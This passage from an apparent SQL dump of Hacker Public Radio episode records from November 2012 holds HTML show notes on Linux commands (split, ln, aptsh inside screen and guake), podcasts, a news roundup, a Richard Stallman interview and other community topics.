can be found <a href=\"https://gitorious.org/hpr-scheduling-system\">https://gitorious.org/hpr-scheduling-system</a>\r\n</p>\r\n<p>\r\nThe rest can be read via manually created mail archive <a href=\"https://hackerpublicradio.org/archive/dev-at-hackerpublicradio.org_2012-10-archive.pdf\">https://hackerpublicradio.org/archive/dev-at-hackerpublicradio.org_2012-10-archive.pdf</a>\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,2439,1),
(1112,'2012-11-06','LiTS 017: split',1463,'Split a file into pieces with the <em>split</em> command','<p>\r\nDann makes a welcome return with his podcast, blog and video entry over at <a href=\"https://www.linuxintheshell.com/2012/11/06/episode-017-split/\">https://www.linuxintheshell.com/2012/11/06/episode-017-split/</a></p>\r\n<p>\r\n<em>The split command is used to split up a file into smaller files. For example, if you need to transfer a 3GB file but are restricted in storage space of the transfer to 500 MB you can split the 3GB file up into about 7 smaller files each 500MB or less in size. Once the files are transferred restoring them is done using the cat command and directing the output of each file back into the master file:<br />\r\n<br />\r\nsplit -b500M some3GBfile\r\n</em>\r\n</p>\r\n<p>\r\nPlease visit his <a href=\"https://www.linuxintheshell.com/2012/11/06/episode-017-split/\">site</a> for more splitty goodness</p>\r\n',7,67,1,'CC-BY-SA','split',0,2968,1),
(1113,'2012-11-07','TermDuckEn aptsh - screen - guake',633,'A look at running apt shell inside screen inside guake','<P STYLE=\"margin-bottom: 0in\">I recently discovered apt shell\r\n(aptsh), a psuedo shell which gives users of distributions which use\r\napt for package management quick access to the functionality of\r\napt-get.  You should find aptsh in the repositories of Debian based\r\ndistros.  Once installed, you can launch \'aptsh\' as root from the\r\ncommand prompt (i.e. \'sudo aptsh\').</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in; page-break-inside: auto; page-break-before: auto\">\r\nOne of the drawbacks of installing software from the terminal is that\r\nsometimes you don\'t know the exact name of the package you want to\r\ninstall.  From the aptsh&gt; prompt, \'ls\'  plus a search string will\r\nshow all the packages that have that string in their names.  You can\r\ntype \'install\' plus a partial package name and use TAB completion to\r\nfinish the instruction.  The function of the \'update\' and \'upgrade\'\r\ncommands are self explanatory, unfortunately, you can\'t string them\r\ntogether on the same line like you can in bash:</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">sudo apt-get update &amp;&amp; sudo\r\napt-get -y safe-upgrade \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">Instead, you use the backtick [ ` ] key\r\nto put aptsh into queue mode. In queue mode, you can enter commands\r\none by one to be launched in sequence at a later time.  To bring your\r\nsystem up to date, you could run:</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">aptsh&gt; ` \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">* aptsh&gt; update \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">* aptsh&gt; upgrade \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">* aptsh&gt; ` \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">aptsh&gt; queue-commit-say yes \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">Backtick toggles queue entry, and\r\nqueue-commit runs the queue.  “queue-commit-say y” tells aptsh to\r\nanswer in the affirmative to any queries from the commands executed\r\nin the queue in much the same way “apt-get -y safe-upgrade”\r\nconfirms software updates without user interaction.  Apt shell is\r\ncapable of other apt related tasks, but I think I\'ve covered the most\r\nuseful ones.</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">The trouble with running aptsh is that\r\nunless you start it in a terminal with the computer and leave it\r\nrunning all day (as opposed to opening it as a new shell within you\r\nterminal every time you want to update or install), despite the\r\nconvienience of package name search and TAB completion, it really\r\nwon\'t save you any keystrokes.  With that in mind, I started looking\r\nfor ways to have the apt shell available at a keystroke (we will\r\nleave the wisdom of leaving a shell open with a subset of root\r\nprivileges for another day).  I had guake installed, but rarely used\r\nit because I usually have multiple terminal tabs open since I am\r\nlogged into my server remotely. [Actually, I had forgotten guake\r\nsupports tabbed terminals quite well.  You can open a new tab with\r\n&lt;Shift&gt;&lt;Ctrl&gt;T and switch between terminal tabs by\r\n&lt;Ctrl&gt;&lt;PgUp&gt; and &lt;Ctrl&gt;&lt;PgDn&gt; or clicking\r\nbuttons that appear at the bottom of the guake window.  I had how,\r\nforgotten this until doing further research on this story.  Since\r\nthis revelation ruins my story, we will forget about tabbed terminal\r\nsupport in guake and not mention it again.]</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">I am also going to assume everyone is\r\nfamiliar with guake.  If not, suffice it to say guake is a terminal\r\nthat pops down in the top third of the screen when you hit a hotkey,\r\n&lt;F12&gt; being the default.  It returns to the background when you\r\npress &lt;F12&gt; again or click the lower part of the desktop.  It\r\nis patterned after the command shell in the game Quake that let you\r\ninput diagnostic and cheat codes, hence the name.  Since I wasn\'t\r\nusing guake as a terminal anyway, I  wanted to see if I could make it\r\nrun apt shell by default.  I found you can access guake\'s graphical\r\nconfiguration manager by right clicking inside the open terminal and\r\nselecting preferences.  \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">On the first preferences tab, I found\r\n“command interpreter”, but since aptsh is only a pseudo shell, it\r\nisn\'t found in the dropdown list.  However, one option was “screen”,\r\nwhich would give me a way to run multiple terminals that I thought\r\nguake lacked.  Next, I had to look up how to configure screen.  I\r\nfigured there must be a way to make screen run aptsh in one session\r\nby default, and I found it.  In the show notes I\'ve included my\r\n.screenrc file from my home folder, which I make with the help of\r\nthis article from the online Red Hat Magazine: \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">https://magazine.redhat.com/2007/09/27/a-guide-to-gnu-screen/</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">**</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">hardstatus alwayslastline \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">hardstatus string \'%{= kG}[ %{G}%H\r\n%{g}][%= %{=kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%=\r\n%{g}][%{B}%Y-%m-%d %{W}%c %{g}]\' \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"># Default screens \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">screen -t shell1        0 \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">screen -t apt-shell    1       sudo\r\naptsh \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">screen -t server        2       ssh\r\n5150server</P>\r\n<P STYLE=\"margin-bottom: 0in\">screen -t laptop        3       ssh\r\n5150<A HREF=\"mailto:don@Redbook\">@Redbook</A> \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">**</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">The first two lines set up the screen\r\nstatus line, the first puts it at the bottom of the terminal, the\r\nsecond sets up the status line to display the hostname and date, and\r\nan indicator that highlights which screen windows you are looking at.\r\n The # Default screens section below sets up sessions screen opens by\r\ndefault.  The first line opens up a regular terminal named “shell1”\r\nand assigns it to session zero.  The second opens a window called\r\n“apt-shell” (this is how it\'s identified on the status line) and\r\nlaunches apt  shell.  The last two log me into my server (host name\r\naliasing made possible by configuring my homefolder/.ssh/config ,\r\nthanks Ken Fallon) and my laptop running Fedora respectively.  I\r\nstill have to cycle through your screen windows and type in my\r\npasswords for sudo and ssh. The configuration could be set up to\r\nlaunch any bash command or script by default.  The cited article\r\ndoesn\'t include any more configuration tips, but I\'m certain there\r\nare ways to set up other options, such as split windows by default.  \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">Since I also run screen on my remote\r\nconnection to my server, I have to remember the command prefix is\r\n&lt;Crtl&gt;a,a.  Ergo, if I want to move to the next window in the\r\nscreen session (running under guake) on the local PC, the command is\r\n&lt;Ctrl&gt;a, then n.  To go to the next screen window in the screen\r\nsession on my server, running inside another screen session on my\r\nlocal PC, it\'s &lt;Ctrl&gt;a,a,n. \r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\"><BR>\r\n</P>\r\n<P STYLE=\"margin-bottom: 0in\">So, that\'s how I learned to run apt\r\nshell inside screen inside guake.  I can be contacted at\r\n<A HREF=\"mailto:FiftyOneFifty@linuxbasement.com\">FiftyOneFifty@linuxbasement.com</A>\r\nor by using the contact form on TheBigRedSwitch.DrupalGardens.Com</P>',131,0,1,'CC-BY-SA','aptsh,screen,guake ',0,2519,1),
(1114,'2012-11-08','DudmanoviPodcast Episode 7 - A geeks Journey to nature',3700,'DudeMan\'s Journey, part 7','<h2>Feature</h2>\r\n<p>10 years compressed into perhaps an hour, how an English computer programmer ended up owning cows/horses/pigs/chickens and speaking Czech ? And after all this time, is still into tech, but is perhaps a little more discerning. What started it all Free-And-Opensource, YES</p>\r\n<h2>Updates</h2>\r\n<ul>\r\n<li>Got locked out of wordpress blog,</li>\r\n<li>Still waiting for the new cow, hasn’t been delivered yet.</li>\r\n<li>Work continues to fix the house, been making some brick arches in an old chimney, first one fell down, but I rushed removing the support and then poked it to much at the edge, 2nd one looks good <img src=\"https://dudmanovi.cz/wp-includes/images/smilies/icon_smile.gif\" alt=\":)\" class=\"wp-smiley\"/> </li>\r\n<li>Wife had a bit of a panic this week, for 10 seconds</li>\r\n<li>The <em>Guinea pig</em> is hard to catch, Mr’s BB, we’ll catch him.</li>\r\n<li>Understanding derived distros Debian and Ubuntu and its derivatives, wishing to make an informed choice.</li>\r\n</ul>\r\n<h2>Links mentioned</h2>\r\n<p>The place I stayed at for 4/6 months and had a great experience, learnt alot <a href=\"https://falconblanco.com/\" >falconblanco.com</a></p>\r\n<p>Healthy food, as ever at <a href=\"https://westonaprice.org\" >westonaprice.org</a></p>\r\n<p><a href=\"https://forum.linuxbasix.com/viewtopic.php?f=20&t=1217&p=6003#p6003\">linuxbasix.com Forums posts on my thoughts,trying to understand distros</a></p>\r\n<p>\r\n<a href=\"https://dudmanovi.cz/\">https://dudmanovi.cz/</a><br />\r\n<a href=\"https://feeds.feedburner.com/DudmanoviBlogAboutEverything\">https://feeds.feedburner.com/DudmanoviBlogAboutEverything</a><br />\r\n<a href=\"https://feedproxy.google.com/~r/DudmanoviBlogAboutEverything/~5/RaYoYa6UWx8/Dudmanovi.cz-007-20121007.mp3\">https://feedproxy.google.com/~r/DudmanoviBlogAboutEverything/~5/RaYoYa6UWx8/Dudmanovi.cz-007-20121007.mp3</a>\r\n</p>\r\n',158,54,1,'CC-BY-SA','Dudmanovi podcast ',0,2516,1),
(1115,'2012-11-09','TGTM Newscast for 11/07/2012',1625,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/11/privacy-and-civil-liberties-oversight-board-meets-after-five-year-absence\">Privacy and Civil Liberties Oversight Board Meets After Five-Year Absence </a></li>\r\n<li><a href=\"https://www.thestand.org/2012/10/pervasive-wage-theft-calls-for-solutions/\">Washington coalition seeks solutions to address wage theft</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/25/headlines#10256\">Supreme Court Upholds Montana Law Limiting Campaign Donations </a></li>\r\n<li><a href=\"https://venezuelanalysis.com/news/7416\">Venezuela Sends Aid to Cuba and Haiti in Wake of Sandy</a></li>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/house-gop-blocks-nonpartisan-report-that-debunks-tax-cut-mythology-121104?news=846121\">House GOP Blocks Nonpartisan Report that Debunks Tax Cut Mythology</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/25/headlines#102510\">WikiLeaks Releases Trove of U.S. Files on Jailing Foreign Prisoners </a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/10/29/AMDAnnouncesServerTargetedARMPart.aspx\">AMD Announces Server Targeted ARM Part</a></li>\r\n<li><a href=\"https://torrentfreak.com/six-strikes-evidence-re-reviewed-to-fix-riaa-lobbying-controversy-121031/\">“Six Strikes” Evidence Re-reviewed to Fix RIAA Lobbying Controversy</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/11/2012-dmca-rulemaking-what-we-got-what-we-didnt-and-how-to-improve\">The 2012 DMCA Rulemaking: What We Got, What We Didn’t, and How to Improve the Process Next Time</a></li> \r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/governments-attack-cloud-computing\">Megaupload and the Government\'s Attack on Cloud Computing</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a href=\"https://sacsis.org.za/site/article/1473\">What Happened to Europe?</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1468\">A \'Kill List\' on Steroids: Obama Administration Expands Drone Assassinations to Wage \'Permanent War\' </a></li> \r\n<li><a href=\"https://www.thestand.org/2012/10/americans-dont-want-a-grand-bargain/\">Americans don’t want ‘grand bargain’ that ignores voters</a></li>\r\n<li><a href=\"https://www.playstationlifestyle.net/2012/10/23/ps3-lv0-keys-leaked-cfw-released-security-hole-reportedly-unpatchable/\">PS3 Hacked Again, LV0 Keys Leaked, CFW Released, Security Hole Reportedly Unpatchable</a></li>\r\n<li><a href=\"https://www.eff.org/Internet-Radio-Fairness-Act-Explanation\">The Internet Radio Fairness Act: What it is, why it’s needed</a></li>\r\n</ul>\r\n<p>News from \"thestand.org,\" \"perspectives.mvdirona.com,\"&nbsp; and \"allgov.com\" used under&nbsp;arranged permission. News from \"torrentfreak.com\" and \"eff.org\" used\r\nunder permission of the Creative Commons by-attribution&nbsp;license. News from \"venezuelanalysis.com,\" and \"democracynow.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license. News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/11/privacy-and-civil-liberties-oversight-board-meets-after-five-year-absence\">https://www.eff.org/deeplinks/2012/11/privacy-and-civil-liberties-oversight-board-meets-after-five-year-absence</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/10/pervasive-wage-theft-calls-for-solutions/\">https://www.thestand.org/2012/10/pervasive-wage-theft-calls-for-solutions/</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/25/headlines#10256\">https://www.democracynow.org/2012/10/25/headlines#10256</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/news/7416\">https://venezuelanalysis.com/news/7416</a></li>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/house-gop-blocks-nonpartisan-report-that-debunks-tax-cut-mythology-121104?news=846121\">https://www.allgov.com/news/top-stories/house-gop-blocks-nonpartisan-report-that-debunks-tax-cut-mythology-121104?news=846121</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/25/headlines#102510\">https://www.democracynow.org/2012/10/25/headlines#102510</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/10/29/AMDAnnouncesServerTargetedARMPart.aspx\">https://perspectives.mvdirona.com/2012/10/29/AMDAnnouncesServerTargetedARMPart.aspx</a></li>\r\n<li><a href=\"https://torrentfreak.com/six-strikes-evidence-re-reviewed-to-fix-riaa-lobbying-controversy-121031/\">https://torrentfreak.com/six-strikes-evidence-re-reviewed-to-fix-riaa-lobbying-controversy-121031/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/11/2012-dmca-rulemaking-what-we-got-what-we-didnt-and-how-to-improve\">https://www.eff.org/deeplinks/2012/11/2012-dmca-rulemaking-what-we-got-what-we-didnt-and-how-to-improve</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/governments-attack-cloud-computing\">https://www.eff.org/deeplinks/2012/10/governments-attack-cloud-computing</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1473\">https://sacsis.org.za/site/article/1473</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1468\">https://sacsis.org.za/site/article/1468</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/10/americans-dont-want-a-grand-bargain/\">https://www.thestand.org/2012/10/americans-dont-want-a-grand-bargain/</a></li>\r\n<li><a href=\"https://www.playstationlifestyle.net/2012/10/23/ps3-lv0-keys-leaked-cfw-released-security-hole-reportedly-unpatchable/\">https://www.playstationlifestyle.net/2012/10/23/ps3-lv0-keys-leaked-cfw-released-security-hole-reportedly-unpatchable/</a></li>\r\n<li><a href=\"https://www.eff.org/Internet-Radio-Fairness-Act-Explanation\">https://www.eff.org/Internet-Radio-Fairness-Act-Explanation</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM ',0,2609,1),
(1116,'2012-11-12','Interview with Richard Stallman',5272,'Interview with Richard Stallman','<p>\r\nHoly cow! I just interviewed RMS! Check it out.\r\n</p>\r\n<p>\r\nI tried to conduct a friendly interview with Richard here. Every time I\'ve heard him interviewed before, it\'s been pretty hostile, and I didn\'t want that. That doesn\'t mean that I only asked him softball questions, but I didn\'t get in his face about anything, and I gave him the time he needed to explain his answers fully. I hope I did a good job of making Mr. Stallman feel welcome at Hacker Public radio, and I hope the interview is as enjoyable to listen to as it was to record. His views on Free Software are pretty well known, so I tried to cover some things that I\'ve never heard Richard\'s opinoins on as well. I KNOW... I missed some pretty obvious followup questions. I realized most of them while editing. I\'m sorry. The good news is that RMS is pretty accessable, and you can probably get him to do a followup interview that we\'ll publish right here on hackerpublicradio.org . \r\n</p>\r\n<p>\r\nLinks from this episode: \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://fsf.org\">https://fsf.org</a>\r\n</li>\r\n<li><a href=\"https://gnu.org\">https://gnu.org</a>\r\n</li>\r\n<li><a href=\"https://stallman.org/rms-lifestyle.html\">https://stallman.org/rms-lifestyle.html</a>\r\n</li>\r\n<li><a href=\"https://stallman.org/comics.html\">https://stallman.org/comics.html</a>\r\n</li>\r\n<li><a href=\"https://stallman.org/doggerel.html\">https://stallman.org/doggerel.html</a>\r\n</li>\r\n<li><a href=\"https://gnu.org/philosophy\">https://gnu.org/philosophy</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nI want to thank the following people who helped in the production of this episode:\r\nRichard for the interview itself. It was a real pleasure. I hope we can do it again sometime.\r\nMartin Dluhos, Richard\'s assistant, for setting up mumble on an FSF computer, and handeling the scheduling, etc... \r\nirc.freenode.net #oggcastplanet for all of the great questions and inspiration. You guys rock (as always)! I wish I had thought to write down who each question belonged to. Sorry about that.\r\nDoor-to-door-geek, and the Linux Basix podcast for the use of their mumble server.\r\nNeil Dudeman and the other guys who listened live for the support and some more great questions.\r\nBroam (a.k.a. Brian, NOT Bryan with a why) for being a good friend, and trying to get home in time to co-host. Happy Birthday, buddy.\r\n</p>\r\n<p>\r\nAdditional media used in this episode:\r\n</p>\r\n\r\n<ul>\r\n<li>MooGNU by the anonymous posters on the 4chan technology image board /g/ is licensed under the Creative Commons Attribution-ShareAlike 3.0 Unported License.\r\n</li>\r\n<li>The Free Software Song by the band Fenster\r\nboth can be found via <a href=\"https://www.gnu.org/music/free-software-song.html\">https://www.gnu.org/music/free-software-song.html</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nSome people enjoy finding mistakes. For their enjoyment (and because I was up \'til 3:00 am finishing this) I have included a few.\r\n</p>\r\n\r\n<p>\r\n<a rel=\"license\" href=\"https://creativecommons.org/licenses/by-nd/3.0/deed.en_US\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nd/3.0/88x31.png\" /></a><br /><span xmlns:dct=\"https://purl.org/dc/terms/\" href=\"https://purl.org/dc/dcmitype/Sound\" property=\"dct:title\" rel=\"dct:type\">Interview with Richard Stallman</span> by <a xmlns:cc=\"https://creativecommons.org/ns#\" href=\"https://hackerpublicradio.org/eps.php?id=1115\" property=\"cc:attributionName\" rel=\"cc:attributionURL\">pokey</a> is licensed under a <a rel=\"license\" href=\"https://creativecommons.org/licenses/by-nd/3.0/deed.en_US\">Creative Commons Attribution-NoDerivs 3.0 Unported License</a>.<br />Based on a work at <a xmlns:dct=\"https://purl.org/dc/terms/\" href=\"https://hackerpublicradio.org/eps.php?id=1115\" rel=\"dct:source\">https://hackerpublicradio.org/eps.php?id=1115</a>.\r\n</p>',128,78,1,'CC-BY-SA','interview,Richard Stallman ',0,3667,1),
(1117,'2012-11-13','The Wayback Machine-SDF.org',1191,'Theru, Navigium, and NYbill talk about joining an old school Unix network, SDF','Theru, Navigium, and NYbill talk about joining an old school Unix network, SDF.\r\n<br />\r\n<a href=\"https://sdf.org/\">https://sdf.org/</a><br />\r\n<a href=\"gopher://sdf.org/0/users/irl/blog/2012-08-22-mosh-in-a-lift.md\">gopher://sdf.org/0/users/irl/blog/2012-08-22-mosh-in-a-lift.md</a>',109,0,1,'CC-BY-SA','sdf.org,Unix,Gopher ',0,2529,1),
(1118,'2012-11-14','My First Brush With FLOSS: Doom ',386,'The open sourcing of the game engine behind Doom and its legacy','<p>\r\nNB: Normal Priority. Not intended as a series, I just liked the pun! (Perhaps others could use the \"brush with Floss\" title for other subjects.)\r\n</p>\r\n<p>\r\nShow Notes:\r\n</p>\r\n<p>\r\nIn this episode I talk about the open sourcing of the game engine behind Doom and it\'s legacy.\r\n</p>\r\n<p>\r\nUseful Links:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.idsoftware.com\">https://www.idsoftware.com</a> - Creators of Doom\r\n</li>\r\n<li><a href=\"https://www.doomworld.com\">https://www.doomworld.com</a> - Community news Site\r\n</li>\r\n<li><a href=\"https://www.doomwiki.org\">https://www.doomwiki.org</a> - wiki for all things Doom\r\n</li>\r\n<li><a href=\"https://www.nongnu.org/freedoom\">https://www.nongnu.org/freedoom</a> - The Freedoom project\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nSource ports I mention:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://doomwiki.org/wiki/DOSDoom\">https://doomwiki.org/wiki/DOSDoom</a>\r\n</li>\r\n<li><a href=\"https://doomwiki.org/wiki/Boom\">https://doomwiki.org/wiki/Boom</a>\r\n</li>\r\n<li><a href=\"https://doomwiki.org/wiki/PrBoom\">https://doomwiki.org/wiki/PrBoom</a>\r\n</li>\r\n<li><a href=\"https://doomwiki.org/wiki/ZDaemon\">https://doomwiki.org/wiki/ZDaemon</a>\r\n</li>\r\n<li><a href=\"https://doomwiki.org/wiki/Legacy\">https://doomwiki.org/wiki/Legacy</a>\r\n</li>\r\n<li><a href=\"https://doomwiki.org/wiki/Doomsday\">https://doomwiki.org/wiki/Doomsday</a>\r\n</li>\r\n<li><a href=\"https://doomwiki.org/wiki/Odamex\">https://doomwiki.org/wiki/Odamex</a>\r\n</li>\r\n<li><a href=\"https://doomwiki.org/wiki/ReMooD\">https://doomwiki.org/wiki/ReMooD</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe music was by Tyler \"Picklehammer\" Pantella for the Freedoom project.\r\n</p>',191,0,1,'CC-BY-SA','FLOSS,Doom,Freedoom ',0,2323,1),
(1119,'2012-11-15','Spread the Word',509,'Inspirational stories told on the road','<h3>Inspirational stories told on the road</h3>\r\n\r\n<p>A few months ago I went on a longer trip, alone in my car. As many podcasters before me, I decided to record an episode. An episode I almost immediately forgot about. Fast forward to a couple of weeks ago, when I once again found the recording. It sounded quite bad, but after some sound wizardry I think it can pass for an HPR show. The content is where it\'s at, after all.</p>\r\n\r\n<h3>Referenses</h3>\r\n\r\n<ul>\r\n  <li>\r\n    Examples of other podcasters who do it in the car:\r\n    <ul>\r\n      <li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=77\">Dave Yates</a></li>\r\n      <li><a href=\"https://knightwise.com/\">Knightwise</a></li>\r\n      <li><a href=\"https://hackerpublicradio.org/eps.php?id=0997\">lostnbronx</a></li>\r\n    </ul>\r\n    ... and many others.\r\n  </li>\r\n  <li><a href=\"https://en.wikipedia.org/wiki/Education_in_Sweden#Gymnasieskola\">Gymnasieskolan</a> - Secondary school in Sweden on Wikipedia</li>\r\n  <li><a href=\"https://en.wikipedia.org/wiki/Cory_Doctorow\">Cory Doctorow</a> on Wikipedia</li>\r\n  <li><a href=\"https://craphound.com/\">Craphound</a> - Books by Cory Doctorow</li>\r\n</ul>\r\n\r\n\r\n<h3>How to reach me</h3>\r\n\r\n<p>You should follow me and subscribe to All In IT Radio: </p>\r\n\r\n<ul>\r\n  <li><a href=\"https://identi.ca/alltinomit\">Identi.ca: @alltinomit</a></li>\r\n  <li><a href=\"https://twitter.com/alltinomit\">Twitter: @alltinomit</a></li>\r\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\r\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\r\n</ul>\r\n',192,0,1,'CC-BY-SA','FLOSS,Creative Commons,Cory Doctorow,Science Fiction ',0,2338,1),
(1120,'2012-11-16','Jerome Leclanche from the razor-qt project',2246,'Ken interviews Jerome Leclanche from the Razor-qt project','<p>\r\nRazor-qt is an advanced, easy-to-use, and fast desktop environment based on Qt technologies. It has been tailored for users who value simplicity, speed, and an intuitive interface. Unlike most desktop environments, Razor-qt also works fine with weak machines.<br />\r\n<a href=\"https://razor-qt.org/\">https://razor-qt.org/</a> Home Page<br />\r\n<a href=\"https://github.com/Razor-qt/razor-qt/wiki/3rd-party-applications\">https://github.com/Razor-qt/razor-qt/wiki/</a> Wiki<br />\r\n<a\r\nhref=\"https://groups.google.com/forum/?hl=en&fromgroups#!forum/razor-qt\">https://groups.google.com/forum/?hl=en&amp;fromgroups#!forum/razor-qt</a> Mail List\r\n</p>\r\n<h2>Razor-qt 0.5.0 is out!</h2>\r\n\r\n<p>The Razor-qt team is proud to release version 0.5.0. It is the culmination of all our efforts since our last release in February of 2012.</p>\r\n<p>There have been several improvements and added features for 0.5.0, as noted in the <a href=\"https://github.com/Razor-qt/razor-qt/wiki/Change-log\" target=\"_blank\">Change Log,</a> but the most noticeable are:</p>\r\n<ul>\r\n<li>New Appearance GUI for configuring themes</li>\r\n<li>Several new plugins for added functionality</li>\r\n<li>Many bug fixes resulting in better performance</li>\r\n<li>New Notification daemon</li>\r\n</ul>\r\n<p> The Razor-qt team would like to thank its staff of 8 members for all the hard work, and the community as well, for all the support. A list of the Razor-qt development team is available <a href=\"https://github.com/Razor-qt?tab=members\" target=\"_blank\"> here,</a> on github.</p>\r\n',30,0,1,'CC-BY-SA','Qt,desktop environment,Razor-qt ',0,2403,1),
(1121,'2012-11-19','Klaatu continues his Networking Basics series with a SAMBA howto.',2054,'A SAMBA howto from klaatu','Klaatu continues his Networking Basics series with a SAMBA howto.\r\n<br />\r\n<a href=\"https://samba.org\">https://samba.org</a>',78,61,0,'CC-BY-SA','networking,SMB,CIFS,SAMBA,file server,NFS,AFP ',0,2523,1),
(1122,'2012-11-20','LiTS 018: ln',1517,'Make links between files with the <em>ln</em> command','<p>\r\nLinux In The Shell aims to explore the use of many commands a user can run in the Bash Shell. Tutorials include a write up with examples, an audio component about the write up, and a video component to demonstrate the usage of the command. <br />\r\nThe website is <a href=\"https://www.linuxintheshell.com/\">https://www.linuxintheshell.com/</a>\r\n</p>\r\n<p>\r\nToday it\'s the turn of the <strong>ln</strong> command. The rest of the shownotes and video can be found at <br />\r\n<a href=\"https://www.linuxintheshell.com/2012/11/20/episode-018-ln-command/\">https://www.linuxintheshell.com/2012/11/20/episode-018-ln-command/</a>\r\n<em>\r\nThe ln command is used to create a link between an existing file and a destination, typically newly created, file. Some operating systems may all this creating a short-cut. Recall that Linux treats everything like a file, thus you can create links to files, directories, or even devices.<br />\r\n<br />\r\nThere are two types of links:<br />\r\n<br />\r\nHard Links: A hard like is a connection where two files share the same inode.<br />\r\nSymbolic Links: A symbolic link is a special file that refers to a different file.\r\n</em>\r\n</p>\r\n',7,67,1,'CC-BY-SA','ln,hard link,soft link',0,2787,1),
(1123,'2012-11-21','Move! Bike Computer',899,'An Android app to track your bicycle ride','Frank Bell describes his favorite Android app:  Move! Bike Computer.<br />\r\n<br />\r\nMove! Bike Computer use GPS to track your bicycle ride (or your hikes, walks, runs), then computes times and speeds and plots the course on Google Maps.  Frank describes how he found it and uses it, then highlights the most important user settings.  <br />\r\n<br />\r\nThe free version displays a small ad in the bottom 1/2 inch (1.2 cm) of the screen; the ad-free version costs $1.25.<br />\r\n<br />\r\nScreen shots:<br />\r\n<br />\r\n<a href=\"https://www.pineviewfarm.net/misc/HPR/track.jpg\">Track Display</a>:  https://www.pineviewfarm.net/misc/HPR/track.jpg<br />\r\n<a href=\"https://www.pineviewfarm.net/misc/HPR/move_stats.jpg\">Track Display with Stats</a>:  https://www.pineviewfarm.net/misc/HPR/move_stats.jpg<br />\r\n<a href=\"https://www.pineviewfarm.net/misc/HPR/move_settings.jpg\">Settings Display</a>:  https://www.pineviewfarm.net/misc/HPR/move_settings.jpg<br />\r\n<a href=\"https://www.pineviewfarm.net/misc/HPR/move_menu.jpg\">Main Screen with Menu Open</a>:  https://www.pineviewfarm.net/misc/HPR/move_menu.jpg<br /><br />\r\n<br />\r\n<br />\r\nRelated links:<br />\r\n<br />\r\n<a 